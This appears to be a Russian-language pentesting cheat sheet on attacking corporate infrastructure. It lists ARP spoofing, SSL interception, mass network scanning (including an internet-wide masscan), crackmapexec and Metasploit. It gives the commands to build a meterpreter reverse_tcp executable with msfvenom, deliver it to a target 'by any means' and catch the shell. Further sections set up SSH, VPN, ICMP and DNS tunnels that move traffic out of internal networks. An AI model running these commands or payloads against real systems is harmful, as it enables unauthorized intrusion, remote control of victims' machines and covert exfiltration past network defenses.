# CYBER INFRASTRUCTURE THREATS
###### tags: `CSB`, `CIT`
**СОДЕРЖАНИЕ**
:::spoiler
[TOC]
:::
## Корпоративная инфраструктура

## Методы проникновения в КИ
## OSINT
## Перехват трафика
### ==arp-spoof==
> \# arpspoof -h
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
### ==dns2proxy==
> https://github.com/singe/dns2proxy/
> https://kali.tools/?p=474
### ==ssl-split==
> https://kali.tools/?p=177
> https://blackarch.ru/?p=643
### wireshark
### ==tshark==
Поиск VLANID в файле дампа трафика (wireshark, tcpdum, etc)
:::info
\# tshark -r DUMP_FILE.PCAP -T fields -e vlan.id | sort -n -u
:::
## Сканирование сети
### ==nmap==
*==scan==*
:::info
- \# nmap -Pn -n -p 21,22,23,445,623,1433,5432,5555,8080,8081,8180,8443,4786,1099,27017,3389,88,389 --open -oX file_name.out -v --min-rate=400 --min-parallelism=512 172.16.0.0/16
- nmap -sS -sV -sC -Pn -n -p- --open -oX file_name.out -v \<IP>
- nmap -sU -sV -sC -Pn -n -p- --open -oX file_name.out -v \<IP>
- nmap -sT -sU -A -O -p0-65535 -oX file_name.out -v <IP>
:::
> -T[0-5] - скорость сканирования
> -F - быстрое сканирование ~100 портов
> -O - определение ОС
> -sV - определение служб и их версий на портах
> -A - агрессивное сканирование
*==scripts==*
готовые скрипты https://nmap.org/nsedoc/
default скрипты https://nmap.org/nsedoc/categories/default.html
скрипты для сканирования на наличие уязвимостей:
> ***github:***
> vulscan
> nmap-vulners
*информация о скрипте:*
:::info
\# nmap --script-help mysql-empty-password
:::
> \--script <filename>|<category>|<directory>/|<expression>...
> -sC - script==default
:::info
\# nmap -p80 --script="dns-brute" fbmse.ru
:::
### nessus
### openvas (GSM)
### ==masscan==
:::spoiler
> \# masscan -h
> usage:
> masscan -p80,8000-8100 10.0.0.0/8 --rate=10000
> scan some web ports on 10.x.x.x at 10kpps
> masscan --nmap
> list those options that are compatible with nmap
> masscan -p80 10.0.0.0/8 --banners -oB <filename>
> save results of scan in binary format to <filename>
> masscan --open --banners --readscan <filename> -oX <savefile>
> read binary scan results in <filename> and save them as xml in <savefile>
:::
:::info
- \# masscan -v -sS 192.168.0.0/16 10.0.0.0/8 -p 80
- \# masscan 23.0.0.0/0 -p80 --banners -output-format binary --output-filename internet.scan
- \# masscan --open --banners --readscan internet.scan -oG internet_scan.grepable
:::
### ==netdiscover==
:::spoiler
> \# netdiscover -h
> Netdiscover 0.5.1 [Active/passive ARP reconnaissance tool]
> Written by: Jaime Penalba <jpenalbae@gmail.com>
>
> Usage: netdiscover [-i device] [-r range | -l file | -p] [-m file] [-F filter] [-s time] [-c count] [-n node] [-dfPLNS]
> -i device: your network device
> -r range: scan a given range instead of auto scan. 192.168.6.0/24,/16,/8
> -l file: scan the list of ranges contained into the given file
> -p passive mode: do not send anything, only sniff
> -m file: scan a list of known MACs and host names
> -F filter: customize pcap filter expression (default: "arp")
> -s time: time to sleep between each ARP request (milliseconds)
> -c count: number of times to send each ARP request (for nets with packet loss)
> -n node: last source IP octet used for scanning (from 2 to 253)
> -d ignore home config files for autoscan and fast mode
> -f enable fastmode scan, saves a lot of time, recommended for auto
> -P print results in a format suitable for parsing by another program and stop after active scan
> -L similar to -P but continue listening after the active scan is completed
> -N Do not print header. Only valid when -P or -L is enabled.
> -S enable sleep time suppression between each request (hardcore mode)
>
> If -r, -l or -p are not enabled, netdiscover will scan for common LAN addresses.
:::
:::info
- Scan common LAN addresses on eth0:
\# netdiscover -i eth0
- Fast scan common LAN addresses on eth0 (search only for gateways):
\# netdiscover -i eth0 -f
- Scan some fixed ranges:
\# netdiscover -i eth0 -r 172.26.0.0/24
\# netdiscover -r 192.168.0.0/16
\# netdiscover -r 10.0.0.0/8
- Scan common LAN addresses with sleep time 0.5 milliseconds instead of default 1:
\# netdiscover -s 0.5
- Scan fixed range on fast mode with sleep time 0.5 milliseconds instead of default 1:
\# netdiscover -r 192.168.0.0/16 -f -s 0.5
- Scan a range using 101 as last octet for SOURCE IP
\# netdiscover -r 10.1.0.0/16 -n 101
- Only sniff for ARP traffic, don't send nothing:
\# netdiscover -p
:::
### ==crackmapexec==
:::spoiler
> \# crackmapexec -h
usage: crackmapexec [-h] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL] [--darrell] [--verbose] {smb,winrm,ldap,mssql,ssh} ...
>
> optional arguments:
-h, --help show this help message and exit
-t THREADS set how many concurrent threads to use (default: 100)
--timeout TIMEOUT max timeout in seconds of each thread (default: None)
--jitter INTERVAL sets a random delay between each connection (default: None)
--darrell give Darrell a hand
--verbose enable verbose output
>
> protocols:
available protocols
>
> {smb,winrm,ldap,mssql,ssh}
:::
:::info
\# crackmapexec smb 172.16.0.0/16
:::
## MSF
:::info
;запустить postgresql
\# systemctl start postgresql
\# systemctl enable postgresql
;инициализировать базу данных MSF
\# msfdb init
;запустить MSF
\# msfconsole -q
:::
### reverse shell
:::info
;выбрать в качестве эксплойта мультихандлер
msf> use exploit/multi/handler
;выбрать в качестве нагрузки нужную
msf> set payload **windows/x64/meterpreter/reverse_tcp**
;задать параметры в соответсвии с выбранной нагрузкой
msf> set options lhost <MSF_IP>
msf> set options lport <MSF_PORT>
;запустить мультихандлер (-j -z - запуск в фоновом режиме)
msf> run
:::
### msfvenom
:::info
;с помощью msfvenom сгенерировать файл с выбранной ранее в msf нагрузкой и соответствующими параметрами
\# msfvenom -p **windows/x64/meterpreter/reverse_tcp** lhost=<MSF_IP> lport=<MSF_PORT> -f exe -o file.exe
;любыми средствами передать сгенерированный файл для выполнения на целевом хосте и ожидать поднятия сессии в MSF
:::
## SSH
> Магия SSH https://habr.com/ru/post/331348/
### ==SSH proxy==
:::info
\# ssh -f -qNTn -D "*:1908" user@host
;в браузере указать socks-proxy на localhost:1908
:::
### ==SSS tunnel==
**internal ssh-vpn-client [KALI-INT]**
:::info
\# ssh -w 5:5 root@<VPN_SERVER_IP>
:::
Поднять созданный интерфейс
:::info
\# ip link set tun5 up
\# ip a add <IP/MASK> dev tun5
:::
- включить ***forwarding***
- включить ***nat*** на интерфейсе локального сегмента сети (iptables -t nat -A POSTROUTING -o eth0 -s 192.168.1.0/24 -j MASQUERADE)
**external ssh-vpn-server [LINUX1]**
Поднять созданный интерфейс
:::info
\# ip link set tun5 up
\# ip a add <IP/MASK> dev tun5
:::
- включить ***forwarding***
- добавить ***маршрут*** до внутреннего сегмента через ***tun***-интерфейс (ip r add <LAN> via <client-tun5-ip-addr>)
## VPN
angristan
/openvpn-install https://github.com/angristan/openvpn-install
### ==openvpn L3==
**internal vpn-client [KALI-INT]**
> "***./client.ovpn***"
> dev tun
> закомментировать
> \# explicit-exit-notify
> \# ignore-unknown-option block-outside-dns
> \# setenv opt block-outside-dns
- включить ***forwarding***
- включить ***nat*** на интерфейсе локального сегмента сети
**external vpn-client [KALI-EXT]**
> "***./client.ovpn***"
> dev tun
> закомментировать
> \# explicit-exit-notify
> \# ignore-unknown-option block-outside-dns
> \# setenv opt block-outside-dns
- включить ***forwarding***
**external vpn-server [LINUX1]**
> "***/etc/openvpn/server.conf***"
> dev tun
> закомментировать
> \# push ... - 3шт
> добавить
> client-to-client
> "***/etc/openvpn/ccd/client***"
> iroute 192.168.1.0 255.255.255.0
- включить ***forwarding***
- добавить ***маршрут*** до внутреннего сегмента через ***tun***-интерфейс (ip r add <LAN> via <tun0-ip-addr>)
### ==openvpn L2==
**internal vpn-client [KALI-INT]**
> \# apt install bridge-utils
> "***/etc/network/interfaces***"
> ==Проверить работоспособность==
> ==auto ens3 tap0 br0==
> iface ens3 inet manual
> iface tap0 inet manual
> iface br0 inet dhcp
> bridge_ports ens3 tap0
> \# mv ./client.ovpn /etc/openvpn/
> "***./client.ovpn***"
> dev tap
> \# разрешаем запускать скрипты для автоподнятия туннеля
> script-security 2
> up /etc/openvpn/up.sh
> закомментировать
> \# explicit-exit-notify
> \# ignore-unknown-option block-outside-dns
> \# setenv opt block-outside-dns
**Включить автоподнятие туннеля**
> "***/etc/default/openvpn***"
> добавить
> Autostart="all"
> "***/etc/openvpn/up.sh***"
> #!/bin/sh
> /usr/bin/systemctl restart networking
>\# chmod +x /etc/openvpn/up.sh
- включить ***forwarding***
- включить ***nat*** на интерфейсе локального сегмента сети
**external vpn-client [KALI-EXT]**
> "***./client.ovpn***"
> dev tap
> закомментировать
> \# explicit-exit-notify
> \# ignore-unknown-option block-outside-dns
> \# setenv opt block-outside-dns
> "***/etc/network/interfaces***"
> auto eth0 tap0
> iface eth0 inet dhcp
> iface tap0 inet dhcp
- включить ***forwarding***
**external vpn-server [LINUX1]**
> "***/etc/openvpn/server.conf***"
> dev tap
> закомментировать
> \# push ... - 3шт
> добавить
> client-to-client
- включить ***forwarding***
- добавить ***маршрут*** до внутреннего сегмента через ***tun***-интерфейс (ip r add <LAN> via <tun0-ip-addr>)
## ICMP tunneling
==Hans - IP over ICMP==
https://github.com/friedrich/hans
http://code.gerade.org/hans/
**external icmp-server [LINUX1]**
> \# apt install git make g++ curl net-tools
> \# git clone hans
> \# cd hans
> \# make
> \# ./hans -s 10.1.2.0 -p <PASSWD> --> tun0
- включить ***forwarding***
- включить ***nat*** на внешнем интерфейсе
**internal icmp-client [KALI-INT]**
> \# apt install git make g++ curl net-tools
> \# ./hans -c <ICMP_SERVER_EXT_IP> -p <PASSWD> --> tun0
> \# ip r add <ICMP_SERVER_EXT_IP/32> via <LAN_GW>
> \# ip r delete default
> \# ip r defaul via <ICMP_SERVER_INT_IP>
- включить ***forwarding***
- включить ***nat*** на интерфейсе ***tun0***
## DNS tunneling
==iodine== - https://code.kryo.se/iodine
### ==Вариант1==
**external dns-vpn-server [LINUX1]**
> \# apt install iodine
> \# iodined <DNS_INT_IP/24> -P <PASSWD> -c <DOMAIN.NAME> --> dns0
- включить ***forwarding***
- включить ***nat*** на внешнем интерфейсе
**internal dns-vpn-client [KALI-INT]**
> \# apt install iodine
> "***/etc/resolv.conf***"
> nameserver <DNS_EXT_IP>
> \# iodine -P <PASSWD> <DOMAIN.NAME> --> dns0
> \# ip r add <DNS_EXT_IP> via <LAN_GW>
> \# ip r delete default
> \# ip r add default via <DNS_INT_IP>
> \# iptables -t nat -A POSTROUTING -o dns0 -j MASQUERADE
### ==Вариант2==
external dns-vpn-server [LINUX1]
server iodined -P <pass> <IP> -c <DOMAIN.NAME>
- включить forwarding
- включить nat на внешнем интерфейсе
Internal dns-vpn-client [KALI-INT]
iodine -P <pass> <DOMAIN.NAME>
ip r del default
ip r add default via <DNS-INT-IP>
## DDOS services
### DHCP